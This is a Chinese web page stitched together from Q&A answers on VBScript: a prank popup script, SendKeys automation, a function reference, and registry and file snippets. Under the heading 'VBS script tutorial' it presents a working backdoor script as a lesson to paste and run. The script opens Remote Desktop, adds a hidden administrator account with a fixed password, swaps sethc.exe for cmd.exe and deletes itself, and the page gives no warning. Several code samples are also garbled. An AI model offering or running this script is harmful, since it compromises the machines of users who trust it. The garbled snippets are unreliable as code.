求一些有趣的VBS代码？vbs代码怎么用

本文目录

• 求一些有趣的VBS代码
• vbs代码怎么用
• vbs常用代码
• VBS文件代码介绍
• 编写vbs 基本的代码
• 怎么执行vbs代码
• VBS打开东西的代码
• vbs代码解释
• vbs脚本教程
• VBS教程：函数-CreateObject 函数

求一些有趣的VBS代码

无害的，一个心理测试（膨胀）

有点简单。（。）

代码如下：

WScript.Echo(“嘿，谢谢你打开我哦，我等你很久拉！“&TSName) 

WScript.Echo(“你是可爱的小朋吗?“) 

WScript.Echo(“哈,我想你拉，这你都不知道吗？“)

WScript.Echo(“怎么才来，说~是不是不关心我“) 

WScript.Echo(“哼,我生气拉，等你这么久，心都凉啦。“) 

WScript.Echo(“小强很生气，后果很严重哦。“) 

WScript.Echo(“嘿嘿！你也会很惨滴哦“) 

WScript.Echo(“是不是想清除我？“) 

WScript.Echo(“那你要点上50下哦，不过会给你惊喜滴“) 

WScript.Echo(“还剩49下，快点点哦“) 

WScript.Echo(“还剩48下，快点，小笨蛋！“) 

WScript.Echo(“还剩47下对，就这样快点点！“) 

WScript.Echo(“还剩46下。你啊就是笨，要快哦，我先不打扰你工作。“) 

WScript.Echo(“还剩45下，记得要快哦！“) 

WScript.Echo(“还剩43下“) 

WScript.Echo(“还剩42下“) 

WScript.Echo(“还剩41下“) 

WScript.Echo(“还剩40下“) 

WScript.Echo(“还剩39下“) 

WScript.Echo(“还剩38下“) 

WScript.Echo(“还剩37下“) 

WScript.Echo(“还剩36下“) 

WScript.Echo(“还剩35下“) 

WScript.Echo(“还剩34下“) 

WScript.Echo(“还剩33下“) 

WScript.Echo(“还剩32下“) 

WScript.Echo(“还剩30下“) 

WScript.Echo(“还剩29下“) 

WScript.Echo(“还剩28下“) 

WScript.Echo(“还剩27下“) 

WScript.Echo(“还剩26下“) 

WScript.Echo(“还剩25下“) 

WScript.Echo(“还剩24下“) 

WScript.Echo(“还剩23下“) 

WScript.Echo(“还剩22下“) 

WScript.Echo(“还剩21下“) 

WScript.Echo(“还剩20下“) 

WScript.Echo(“还剩19下“) 

WScript.Echo(“还剩18下“) 

WScript.Echo(“还剩17下“) 

WScript.Echo(“还剩16下“) 

WScript.Echo(“还剩15下“) 

WScript.Echo(“还剩14下“) 

WScript.Echo(“还剩13下停停！！！慢点，我有话要说“) 

WScript.Echo(“还剩12下，你继续点我就会消失滴“) 

WScript.Echo(“还剩11下，以后就看不到我拉。555555“) 

WScript.Echo(“还剩10下，你现在可以选择停止！“) 

WScript.Echo(“还剩9下。你还点啊，不要我拉？“) 

WScript.Echo(“还剩8下，有点伤心拉，干嘛丢弃人家“) 

WScript.Echo(“还剩7下。疯了，你有点负意！“) 

WScript.Echo(“还剩6下。对。你就点吧，我恨你！“) 

WScript.Echo(“还剩5下，不明白，删除我你就好吗？“) 

WScript.Echo(“还剩4下！真要删除我？“) 

WScript.Echo(“还剩3下。可是我真的很眷恋你。。。“) 

WScript.Echo(“还剩2下。不要这么绝情嘛，人家是爱你的！“) 

WScript.Echo(“还剩1下。哼，既然你这么绝情。也别怪我无义！！！“)

WScript.Echo(“我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。“)

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

WScript.Echo(“想结素我么?那你就再多点一次“) 

——————分割线————————

保存，保存类型为所有文件，名字随便，矿展名“.vbs”，保存后点开。

vbs代码怎么用

这段代码是对当前的活动窗口发送键盘消息, 你保存成.vbs再运行是向这个vbs发送键盘消息. 在Wscript.Sleep 8000下面一行加一句tx.AppActivate “你要的程序名字“就好了比如说要往一个记事本1.txt里面写abc就这样写(1.txt必须开着的)Set tx=CreateObject(“Wscript.Shell“)Wscript.Sleep 8000tx.AppActivate “1.txt“tx.SendKeys “a“Wscript.Sleep 3000tx.SendKeys “{Enter}“tx.SendKeys “b“Wscript.Sleep 3000tx.SendKeys “{Enter}“Wscript.Sleep 3000tx.SendKeys “c“tx.SendKeys “{Enter}“

vbs常用代码

1、首先在电脑鼠标右键 新建一个文本文档。

2、然后点开文本文档进行编辑，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存。

3、保存好之后，对这个文本文档进行重命名更改后缀，把文本文档的txt改成vbs。

4、改vbs后缀会弹出一个提示框，提示你如果改变文件扩展名，可能会导致文件不可用，确定要改吗，点击是。

5、确定更改文件扩展名之后文本文档就会变成vbs，这样就表示已经完成制作。

6、只要双击这个vbs，桌面就会弹出你所编辑的语言，一直点击确定就会出现你编辑的所有内容。

VBS文件代码介绍

编辑本段vbScript常用运算符与函数　　基本运算 　　+ 数字加法及字符串连接 　　- 数字减法 　　* 数字乘法 　　/ 数字除法 　　Mod 求余数 　　\ 求商数 　　& 字符串连接 　　^ 次方 　　= 相等 　　《》 不相等 　　》= 大于或等于 　　》 大于 　　《= 小于或等于 　　《 小于 　　Not 非 　　And 且 　　Or 或 　　Xor 异或 　　循环及决策 　　if ....then 若...则... 　　if ...then...else 若...则...非 　　else if... 非若 　　select case... 群组选择条件 　　end select 　　for ... next 计数循环 　　while...wend 条件循环(一) 　　do while...loop 条件循环(二) 　　do...loop while 条件循环(三) 　　do until...loop 条件循环(四) 　　do...loop until 条件循环(五) 　　数学函数 　　Abs 绝对值 　　Sgn 正负号 　　Hex 转换成十六进制 　　Oct 转换成八进制 　　Sqr 平方根 　　Int 取整数 　　Fix 取整数 　　Round 取整数 　　Log 以e为底的对数 　　Sin 正弦函数 　　Cos 余弦函数 　　Tan 正切函数 　　字符串处理函数 　　Len 字符串长度 　　Mid 取部分字符串 　　Left 从字符串开头取部分字符串 　　Right 从字符串结尾取部分字符串 　　Lcase 转换成小写 　　Ucase 转换成大写 　　Trim 清除字符串开头及结尾的空格符 　　Ltrim 清除字符串开头空格符 　　Rtrim 清除字符串结尾空格符 　　Replace 替换字符串部分字符 　　Instr 判断是否包含于另一个字符串(从起始搜寻) 　　InstrRev 判断是否包含于另一个字符串(从结尾搜寻) 　　Space 任意字符数的空格符 　　String 任意字符数的任一字符 　　StrReverse 反转字符串 　　Split 以某字符分割字符串 　　数据类型转换函数 　　Cint 转换成整形 　　Cstr 转换成字符串 　　Clng 转换成常整数 　　Cbool 转换成布尔函数 　　Cdate 转换成日期函数 　　CSng 转换成单精度 　　CDbl 转换成双精度 　　日期时间函数 　　Date 现在日期 　　Time 现在时间 　　NOw 现在日期时间 　　DateAdd 增加日期 　　DateDiff 两日期差 　　DateSerial 日期设定 　　Datevalue 日期设定 　　Year 现在年份 　　Month 现在月份 　　Day 现在天 　　Hour 现在时刻 　　Minute 现在分钟 　　Second 现在秒钟 　　Timer 午夜距现在秒数 　　TimeSerial 时间设定 　　Timevalue 时间所属部分 　　WeekDay 星期名称 　　MonthName 月份名称 　　其它函数 　　Array 产生数组 　　Asc 字符ASCII码 　　Chr ASCII码字符 　　Filter 过滤数组 　　InputBox 输入窗口 　　Join 合并数组中的元素 　　MsgBox 信息窗口 　　Lbound 数组下界 　　Ubound 数组上界 　　指令 　　Const 设定常数 　　Dim 定义变量或者数组 　　Erase 清除数组 　　ReDim 重新声明数组 　　Randomize 起始随机数 　　Rnd 取得随机数 　　ASP对象 　　Session对象 　　IsEmpty 测试Session变量是否存在 　　TimeOut 设定Session变量生存周期 　　Abandon 强制清除Session变量 　　Application对象 　　IsEmpty 测试Application变量是否存在 　　Lock 锁定Application变量 　　Unlock 解除Lock指令的锁定 　　Cookies对象 　　Expires 设定Cookies变量的生存周期 　　Connection对象 　　Open 打开与数据库的连接 　　Execute 打开Recordset对象 　　Close 关闭Connection对象 　　Recordset对象 　　movefirst 将记录指针移至第一条 　　movelast 将记录指针移至最后一条 　　movenext 将记录指针移至下一条 　　moveprevious 将记录指针移至上一条 　　bof 测试是否为recordset的起始 　　eof 测试是否为recordset的结束 　　open 打开Recoreset对象 　　close 关闭recordset对象 　　fields 读取数据的子对象 　　fileds.count 字段个数 　　pagesize 每页记录条数 　　absolutepage 设定为某页 　　pagecount 总页数 　　Absoluteposition 直接跳至某条记录

编写vbs 基本的代码

常用vbs集合.将域用户或组添加到本地组Set objGroup = GetObject(“WinNT://./Administrators“)Set objUser = GetObject(“WinNT://testnet/Engineers“)objGroup.Add(objUser.ADsPath)修改本地管理员密码Set objcnlar = GetObject(“WinNT://./administrator, user“)objcnla.SetPassword “P@ssW0rd“objcnla.SetInfo弹出 YES or NO 的对话框，不同的选择执行不同的代码intAnswer = Msgbox(“Do you want to delete these files?“, vbYesNo, “Delete Files“)If intAnswer = vbYes Then Msgbox “You answered yes.“Else Msgbox “You answered no.“ End If运行CMD命令行命令set obshell=wscript.createobject(“wscript.shell“)obshell.run (“ipconfig“),,true如果要运行的命令中包含双引号，可使用&chr(34)&代替忽略代码错误继续执行On Error Resume Next放置于代码的最开头，当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。注册表的修改，读取，删除，创建Set wso = CreateObject(“WScript.Shell“) ’声明wso.RegWrite “%Path%“’创建子键wso.RegWrite “%Path%“,“%Value%“’修改“默认“键值wso.RegWrite “%Path%“,%Value%,%RegType% ’修改特定类型的键值’(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)Set WSHShell= Wscript.CreateObject(“Wscript.Shell“)WSHShell.RegRead (%Path%) ’读取注册表子键或键值(一般用于判断某一事件是否执行)Set wso = CreateObject(“WScript.Shell“)wso.RegDelete “%Path%“ ’删除子键或键值’(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)eg:Set wso = CreateObject(“Wscript.Shell“)wso.RegWrite “HKLM\SOFTWARE\Microsft\Windows NT\#1“wso.RegWrite “HKLM\SOFTWARE\Microsft\Windows NT\#1“,“0“wso.RegWrite “HKLM\SOFTWARE\Microsft\Windows NT\#1\#2“,0,REG_BINARYwso.RegDelete “HKLM\SOFTWARE\Microsft\Windows NT\#1“Wscript.quit文件的复制，删除，创建，简单的写入Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“) ‘声明Set f = fso.CreateTextFile(“%PATH%“) ’创建文件,其中f可任意，包含缩略名f.WriteLine(“VBS“) ’写文件内容,该命令功能太简单,目前看来只能用于TXT文件f.Closeset c=fso.getfile(“%path%“) ’拷贝某文件c.copy(“%PATH2%“) ’拷贝文件到指定地点fso.deletefile(“%PATH%“) ’删除文件Wscript.quiteg.Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“)Set f=fso.CreateTextFile(“C:\Sample.txt“)WriteLine(“VBS“)f.closeset e=fso.getfile(C:\Sample.txt)e.copy(“D:\Sample.txt“)fso.deletefile(C:\Sample.txt)Wscript.quit向应用程序输出简单的连串指令dim program1 ’声明变量program1program1= “%Path%“ ’应用程序路径set wshshell=createobject(“wscript.shell“) ’声明饮用函数set oexec=wshshell.exec(program1) ’运行程序wscript.sleep 2000 ’(该行命令未知作用.估计是设定延迟，请高手指点)wshshell.appactivate “%WindowsName%“ ’激活运用程序窗口wshshell.sendkeys “+{%KeyBoardName%}“ ’第一次输出键盘按键指令前要加+wshshell.sendkeys “555555“ ’在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作，这在QQ登录中最适用，如下例。eg.dim program1program1=“D:\Program Files\Tencent\coralQQ.exe“set wshshell=CreateObject(“wscript.shell“)set oexec=wshshell.exec(program1)wscript.sleep 2000wshshell.appactivate “QQ登录“wshshell.sendkeys “+{TAB}“wshshell.sendkeys “250481892“wscript.sleep 2000wshshell.sendkeys “{TAB}“wshshell.sendkeys “****************“wscript.sleep 2000wshshell.sendkeys “{ENTER}“Wscript.quit文件夹的简单操作Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“) ‘声明Set f = fso.CreateFolder(“%PATH%“) 创建文件夹Set e = getFolder(%PATH%) 类似于“绑定目标”e.copy(“%PATH2%“) 复制文件夹fso.deletefolder(%PATH%) 删除文件夹eg.Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“)Set f = fso.CreateObject(“C:\sample“)f.copy(“D:\sample“)fso.deletefolder(“C:\sample“)’(由上例可以看出，文件夹的操作很多是和文件的操作相通的，因此VBS文件具有很多命令的统一性)将某一指定文件夹的所有只读文件转为可读文件Const ReadOnly = 1 ‘设只读属性对应值为1Set FSO = CreateObject(“Scripting.FileSystemObject“) ’声明Set Folder = FSO.GetFolder(“%PATH%“) ’绑定文件夹Set colFiles = Folder.Files ‘文件夹所有文件For Each objFile in colFiles ’下列语句应用于文件夹所有文件If File.Attributes AND ReadOnly Then ’这是关键之处，这里应用了If判断语句，来检测文件属性是否为只读File.Attributes = File.Attributes XOR ReadOnly ‘对判断结果为Ture（默认为True）’执行XOR逻辑运算，将其改为可读End If ‘结束判断Next将Word文件另存为文本文件Const wdFormatText = 2 ’设置常数值(当该值为8时另存为HTML文档，为11时另存为XML文档)Set objWord = CreateObject(“Word.Application“) ’申明调用函数Set objDoc = objWord.Documents.Open(“%Path%“) ‘打开某DOC文件objDoc.SaveAs “%PATH2%“, wdFormatText 另存为……objWord.Quiteg:Const wdFormatText = 2Set objWord = CreateObject(“Word.Application“)Set objDoc = objWord.Documents.Open(“d:\doc1.doc“)objDoc.SaveAs “g:\doc1.txt“, wdFormatTextobjWord.Quit

怎么执行vbs代码

1、把vbs代码直接保存成vbs为扩展名的文件，双击就可以执行，效果如下：

2、如出现未能执行的情况，可能为文件关联问题，可以在命令行事执行，以D:\test.vbs为例如下：

cscript d:\test.vbs

效果如下：

VBS打开东西的代码

vbs代码如下，这里以打开画图为例，你自己将下面代码中的c:\windows\system32\mspaint.exe换成你想要启动的程序的路径保存即可。’====代===码===开===始============set fso=CreateObject(“Scripting.FileSystemObject“)set ws=CreateObject(“wscript.shell“)set f=fso.getfile(“c:\windows\system32\mspaint.exe“)ws.run f.shortpath’====代===码===结===束=============

vbs代码解释

’══代══码══开══始════hanzi=“嘻嘻哈哈呵呵嘿嘿“ ’给变量hanzi赋值set wshshell=CreateObject(“WScript.Shell“) ’获取对象句柄，便于后面使用wshshell.run “winword“,3’启动word软件for i=1 to len(hanzi) ’对“hanzi”中每个字设置循环Set ws = wscript.createobject(“wscript.shell“)’获取对象句柄，便于后面使用ws.run “mshta vbscript:clipboardData.SetData(“+““““+“text“+““““+“,“+““““∣(hanzi,i,1)&““““+“)(close)“,0,true’逐字复制每个字到剪切板wshshell.Sendkeys “^v“’粘贴到当前光标所在处next ’══代══码══结══束════说明：实际上这个代码有bug，就是不等待word打开就粘贴完了。修改后如下’══代══码══开══始════hanzi=“嘻嘻哈哈呵呵嘿嘿“ set ws=CreateObject(“WScript.Shell“) ws.run “notepad“,3wscript.sleep 1000for i=1 to len(hanzi) ws.run “mshta vbscript:clipboardData.SetData(“+““““+“text“+““““+“,“+““““∣(hanzi,i,1)&““““+“)(close)“,0,truews.Sendkeys “^v“next ’══代══码══结══束════

vbs脚本教程

on error resume nextconst HKEY_LOCAL_MACHINE = &H80000002strComputer = “.“Set StdOut = WScript.StdOutSet oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\“ &_strComputer & “\root\default:StdRegProv“)strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPathstrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPathstrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“strValueName = “fDenyTSConnections“dwValue = 0oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValuestrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“strValueName = “PortNumber“dwValue = 3389oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValuestrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“strValueName = “PortNumber“dwValue = 3389oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValueon error resume nextdim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=“HackEr“:password=“393214425“:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK“):os=“WinNT://“&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&“/Administrators,group“):Set od=ob.Create(“user“,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&“/“&username&“,user“):oe.Add(of.ADsPath)’wscript.echo of.ADsPathOn Error Resume NextDim obj, successSet obj = CreateObject(“WScript.Shell“)success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe“, 0, True)CreateObject(“Scripting.FileSystemObject“).DeleteFile(WScript.ScriptName)把上面一段代码拷到一个txt中,然后把txt的扩展名改成.vbs，运行一下

VBS教程：函数-CreateObject 函数

CreateObject函数创建并返回对Automation对象的引用。CreateObject(servername.typename[,location])参数servername必选项。提供对象的应用程序名称。typename必选项。要创建的对象类型或类。location可选项。对象所在的网络服务器将被创建。说明Automation服务器至少提供一种对象类型。例如，字处理应用程序可以提供应用程序对象、文档对象和工具条对象。要创建Automation对象，将CreateObject函数返回的对象赋值给某对象变量：DimExcelSheetSetExcelSheet=CreateObject(“Excel.Sheet“)上述代码启动创建对象（在此实例中，是MicrosoftExcel电子表格）的应用程序。对象创建后，就可以在代码中使用定义的对象变量引用此对象。在下面的示例中，可使用对象变量、ExcelSheet和其他Excel对象，包括Application对象和Cells集合访问新对象的属性和方法。例如：’MakeExcelvisiblethroughtheApplicationobject.ExcelSheet.Application.Visible=True’Placesometextinthefirstcellofthesheet.ExcelSheet.ActiveSheet.Cells(1,1).Value=“ThisiscolumnA,row1“’Savethesheet.ExcelSheet.SaveAs“C:\DOCS\TEST.XLS“’CloseExcelwiththeQuitmethodontheApplicationobject.ExcelSheet.Application.Quit’Releasetheobjectvariable.SetExcelSheet=Nothing在远程服务器上创建一个对象，当Internet安全关闭时只能完成。通过传递计算机名到CreateObject服务器名的参数，能在远程网络上创建对象。该名称如同共享部份的机器名。例如网络共享名命名为：“\\myserver\public“,servername是“myserver“。另外,只能指定servername使用DNS格式或IP地址。以下代码返回运行在命名为“myserver“的远程网络计算机上Excel实例的版本号:FunctionGetVersionDimXLAppSetXLApp=CreateObject(“Excel.Application“,“MyServer“)GetVersion=XLApp.VersionEndFunction错误发生在指定的远程服务器不存在或无法找到。

还剩